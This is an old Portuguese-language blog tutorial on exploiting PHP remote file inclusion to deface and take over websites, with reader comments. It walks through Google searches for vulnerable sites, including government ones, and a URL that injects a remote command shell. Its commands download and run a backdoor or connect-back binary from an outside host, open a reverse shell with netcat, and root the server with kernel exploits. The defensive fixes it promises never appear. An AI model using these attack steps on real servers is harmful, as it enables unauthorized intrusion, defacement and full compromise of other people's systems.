Administra o teu Blog

Cria o teu Blog Já! Fácil e Grátis

Tutorial de php injection bruno-tk — 23-10-2007 GTM 11 @ 10:51

1) Introdução

Já que muita gente pede ajuda sobre php injection, resolvi fazer

um tutorial de simples entendimento pra facilitar a vida da galera new.

Esta falha consiste em usuários incluirem scripts no codigo php da

vitima e este ser executado. Quando corretamente utilizado, que é o que

explicarei nesse tutorial, o intruso pode setar comandos ao servidor.

Boa parte do processo pode ser feito pelo próprio browser (IE,

mozilla, netscape...).

Tentarei explicar como procura, explora e corrige o bug. Espero

ser util para todos ;)

Obs1.: Este tutorial foi feito para explicar uma das maneiras utilizadas

por pessoas para desfigurar sites mas pode ser utlizado para outros fins.

Vai da cabeça de cada um :P

Obs2.: No final, terão urls com os programas citados.

2) O que é o que

Vitima : Site que você irá explorar a falha de php.

String : Arquivos no site suceptiveis ao ataque.

Cmd : Script em PHP que nos possibilita digitar

comandos a serem incluidos no php.

Backdoor : Abre portas no sistema para conexão remota 'sem

autenticação'.

Connect Back : Abre uma porta especifica para conexao entre seu

pc e a vitima.

Exploit : Programa que explora certa falha num sistema.

Há vários tipos de Exploits. Aqui, iremos

tratar apenas com Local Root Exploits. (exploram

falhas localmente que levam usuários comuns a

acesso root - super-usuário -)

Shell : É um programa interpretador de comandos que

permite ao usuário iteragir com o sistema

operacional através de comandos digitados.

Telnet : Utilizaremos para conexões remotas.

Firewall : É uma barreira inteligente entre uma rede local

e a Internet, através da qual só passa tráfego

autorizado. Este tráfego é examinado pelo

firewall em tempo real e a seleção é feita de

acordo com a regra."o que não foi expressamente

permitido, é proibido"

root : Super-usuário. É o admin... tem acesso total ao

sistema.

------------------- No browser

3) Strings

Há várias strings disponíveis. Neste tutorial, irei utilizar para

exemplos uma bem simples que é " index.php?page= ". Em anexo, no final,

várias outras :P

4) Sintaxe

Ex.:

www.site.com /arquivo.php?data= http://cmd/cmd.gif?&cmd= ls

^ ^ ^ ^

Vitima String CmD comando unix

P.S.: Sem os espaços.

5) Procurando site vulnerável.

Uma excelente ferramente para os kiddies, sem dúvida, é o google.

Há várias maneiras de fazer buscas por ele, dentre elas:

Obs.: A palavra 'word' q irei citar aqui é qualquer coisa que você esteja

procurando no sistema de busca.

word : Busca por sites q contenham a 'word' em qualquer

lugar da pagina.

allinurl: : Sites que contenham na url a word citada. Ex:

www.site.com/forum/word.php?id=0 .

allintitle: : Restringe sua pesquisa ao título da página.

intitle: : Parecido com o de cima, para maiores

esclarecimentos no final do tuto.

inanchor: : Busca nos links dentro co corpo dos sites.

href="PROCURA AQUI DENTRO">

site: : Procura sites de um determinado domínio. Ex:

site:br <- procura sites .br

link: : Sites que contenham links para um outro

determinado site. Ex: link:www.securityfocus.com

filetype: : Filtra por extensões de arquivos. Ex:

filetype:php <- procura apenas urls .php

Essas dicas devem ser uteis não apenas na busca de sites

vulneraveis, mas também nas buscas comuns para você ;)

Utilizando a string "index.php?page=" para sites .gov -->

allinurl:index.php?page= site:gov

Fácil..

.

Você também pode usar um scanner pra tornar o processo mais

eficiente. kieger (membro do r00t_System grouP) codou um em perl:

Procura com o sistema do google, testa e imprime os vulneraveis num

arquivo. Código no final do tutorial.

6) Utilizando a CmD

6.1) Incluindo

Cmd = http://rootsystem.100free.com/cmd/cse.gif?&cmd=

(coded by Crash from datacha0s group.)

No resultado, insira a cmd na string. Ex:

www.site.com/index.php?page=http://rootsystem.100free.com/cmd/cs

e.gif?&cmd=

Não tem mistério.

6.2) A Cmd

datacha0s - PHP Command/Safemode Exploit

System Information

sysname: --> Sistema operacional rodando.

nodename: --> Nome local.

release: --> Versão do kernel.

Script Current User: --> Usuário pelo qual o script está sendo executado.

PHP Version: --> Versão do php da máquina

User Info: --> Informação do user (uid, euid, gid).

Current Path: --> Pasta atual que você está no server.

Server IP: --> Ip do servidor.

Web Server: --> Informações sobre o servidor.

[*] Command Mode Run

Command Stdout

(( aqui ficarao os resultados dos comandos ))

(( inseridos na cmd ))

Obs.: O script varia de cmd a cmd. Este é apenas um exemplo.

7) Ganhando acesso a shell

Para os próximos passos, você precisa estar na shell

(interpretador de comandos) da máquina. Para isto, explicarei duas

maneiras de tornar isto possível: Backdoor e Connect Back.

7.1) Rodando backdoor no server para conexão remota

Para rodar um backdoor, basta fazer um upload, escolher

permissões, e executá-lo.

Comando: cd /var/tmp;wget www.site.onde.está.o.backdoor.com/backd

oor;chmod 777 backdoor;./backdoor

cd /var/tmp -> Faz a operação nesta pasta, por ser comum a

todos os usuários e devido às suas permissões.

/tmp tb serve :)

wget www.(...)/backdoor -> Copia o backdoor a partir de uma url para o

site. Quando wget não funcionar, tente outros

comandos. Sintaxes:

wget www.site.com/arquivo

lynx -source www.site.com/arquivo > arquivo

curl -o arquivo www.site.com/arquivo

GET www.site.com/arquivo > arquivo

(...)

Após feito isso, aparecerá a seguinte mensagem:

Daemon Working...

pid = XXXXX

Isto significa que o backdoor está rodando.

Agora, basta conectar-se à shell. Como?

No Win: Iniciar -> Executar -> telnet www.site.com porta

Onde o www.site.com recebe o nome ou ip do site que você rodou o

backdoor e porta é a porta que o backdoor está trabalhando.

Se aparecer no telnet bash-2.05b$ ou algo parecido, é porque

funcionou! E você tem acesso à shell na máquina!

Se demorar um tempo e não cair na shell, confira o nome/ip do

server.. se estiver correto, ele está rodando Firewall. E agora?

simples, Connect Back. :P

7.2) Connect Back

Método muito eficiente para ganhar shell numa máquina. Ganha shell

reversamente.

Windows: Baixe o netcat para windows e no Prompt do MSDOS (na

pasta que o nc se encontra), digite: nc -vv -l -p 15 , onde 15

pode ser escolhido de acordo com sua preferência. Esta porta será a que

realizará a conexão.

Agora, voltando para o browser, na cmd digite o seguinte comando:

cd /var/tmp;wget www.site.do.dc.com/dc;chmod 777 dc;./dc IP porta

cd /var/tmp -> Mesmo que para backdoor.

wget www.site.do.dc.com/dc -> | | | | , mas é logico, com o

endereço da dc.

./dc IP porta -> onde IP é o SEU IP e porta é a porta

que você escolheu no netcat.

Feito isso, se ocorrer tudo certo, aparecerá como resultado:

Connect Back Backdoor

[*] Dumping Arguments

[*] Resolving Host Name

[*] Connecting...

[*] Spawning Shell

[*] Detached

Isto significa que você se conectou na shell! ;) Agora, vá para o

MSDOS e vamos para o próximo passo.

Se aparecer

Connect Back Backdoor

[*] Dumping Arguments

[*] Resolving Host Name

[*] Connecting...

[-] Unable to Connect

confira os dados (seu ip, porta, netcat, etc). Se insistir, sua

rede não aceita este tipo de conexão. Tente outras portas (como 80, 22,

15, etc).

---------------------------------- Na Shelll

8) Comandos básicos

Eu ia passar direto nessa parte, mas sei que muitos não conhecem

os comandos unix. Então vamos conhecer alguns:

ls -> Lista arquivos. Pode ser combinado com -a (mostra

ocultos) e -l (mostra detalhadamente). Ex: ls -la

(mostra detalhadamente os arquivos, inclusive ocultos).

uname -a -> Mostra informações do sistema, como versão do kernel,

nome, e outras coisas uteis.

id -> Mostra sua id.
w -> Lista os usuários logados no momento.
cp -> Copia arquivos. Sintaxe: cp arquivo /destino/
mv -> Move arquivos. Sintexe: mv arquivo /destino/
rm -> Remove arquivos. Se combinado com -rf , remove todos

os arquivos setados, inclusive pastas

mkdir -> Cria diretorio
rmdir -> Exclui diretorio
find -> Procura por arquivos/pastas. Ex: " find /etc -name
httpd.conf " procura pelo httpd.conf na pasta /etc
pwd -> Mostra em que pasta você está localizado
cat -> Exibe o conteúdo de um arquivo na tela
head -> Exibe linhas do início do arquivo
tail -> || || || final do arquivo
ctrl+c -> Sai/killa um programa
ctrl+r -> Busca comando digitado no history do bash
ps -auxw -> Lista todos os processos do sistema
netstat -na -> Status da conexão
kill -9 -> Mata processo. Sintaxe: kill -9 PID DO PROCESSO
kill -HUP -> Reinicia processo. Sintaxe: kill -HUP ID DO PROCESSO
pico -> Editor de texto. Sintaxe: pico arquivo
vi -> | | vi arquivo

Salvando resultados em arquivos

comando > /arquivo/onde/será/armazenado

Ex: ls /etc > /tmp/s.txt salva todo o resultado da listagem de

/etc no arquivo /tmp/s.txt

Adicionando linhas em arquivos

echo ' linha ' >> /arquivo/onde/será/incluido

Descompactando arquivos (os mais comuns)

.tar -> tar xvf arquivo.tar
.tar.gz -> tar zxvf arquivo.tar.gz
.tar.bz2 -> tar jxvf arquivo.tar.bz2
.zip -> unzip arquivo.zip

Compactando arquivos (os mais comuns)

.tar -> tar cvf destino.tar ARQUIVO
.tar.gz -> tar cvf destino.tar ARQUIVO | gzip destino.tar
.tar.bz2 -> tar cvf destino.tar ARQUIVO | bzip2 destino.tar

9) Ganhando acesso root

Para ganhar acesso root localmente numa máquina, vai depender

muito. Você precisa de um exploit local e o sistema deve estar vulnerável.

Simples, basta baixar, escolher as permissões e executar.. assim

como você faz com o backdoor.. mas isto você faz na shell.

Os mais comuns no momento são mremap , brk e kmod para kernel

abaixo de 2.4.24

Se tudo ocorrer corretamente rootando a máquina, ao digitar o

comando "id" você verá

bash-2.05b# id

uid=0(root) gid=0(root)

Pronto! Você é root! Divirta-se ;)

Do Melhor Linkk | del.icio.us

Comentários(9) »

  1. rheynz4@gmail.com

    Cara muito bom esta tutorial, se vc fizer mais me manda um aviso pelo meu email.Vlw.Flw ate ++

  2. flavio banker

    ai cara se tiver conseguindo scanear ainda , e quizer ganahr boa grana comigo me procura blz!!!
    meu msn e: new_life_word@hotmail.com

  3. arroxando

    moço pelo amor de deus mande ai um scaner pra mim kkkkkkkkkkkkkkk
    qualquer coisa so me add alguem ai
    zerocool_d2@hotmail.com

  4. art-2000

    Informações ultrapassadas, a não ser que você tenha acesso físico a um servidor.

  5. valentany

    karaka ta mais que do karalho essa totu.. mano parabens se colocar ou vc decidir colocar mais algumas informaçoes me da um toque no msn mano se cuida

  6. Xpirits

    Meio noobie esse tuto, mais ta legal!!! parabens.

  7. Augusto

    Olá,

    Gostaria de entrar em contato com vc sobre php injection. Como podemos fazer? Eu tenho msn augusto.custodio@hotmail.com

  8. David

    vc esta de parabens ,

    veio me add msn e me ensina algumas coisa q to em duvida.

    meu msn

    silvestre_king@hotmail.com

  9. root

    cmd offf. :(

Deixar um Comentário


<a href> <em> <blockquote> <strong> <cite> <code> <ul> <li> <dl> <dt> <dd>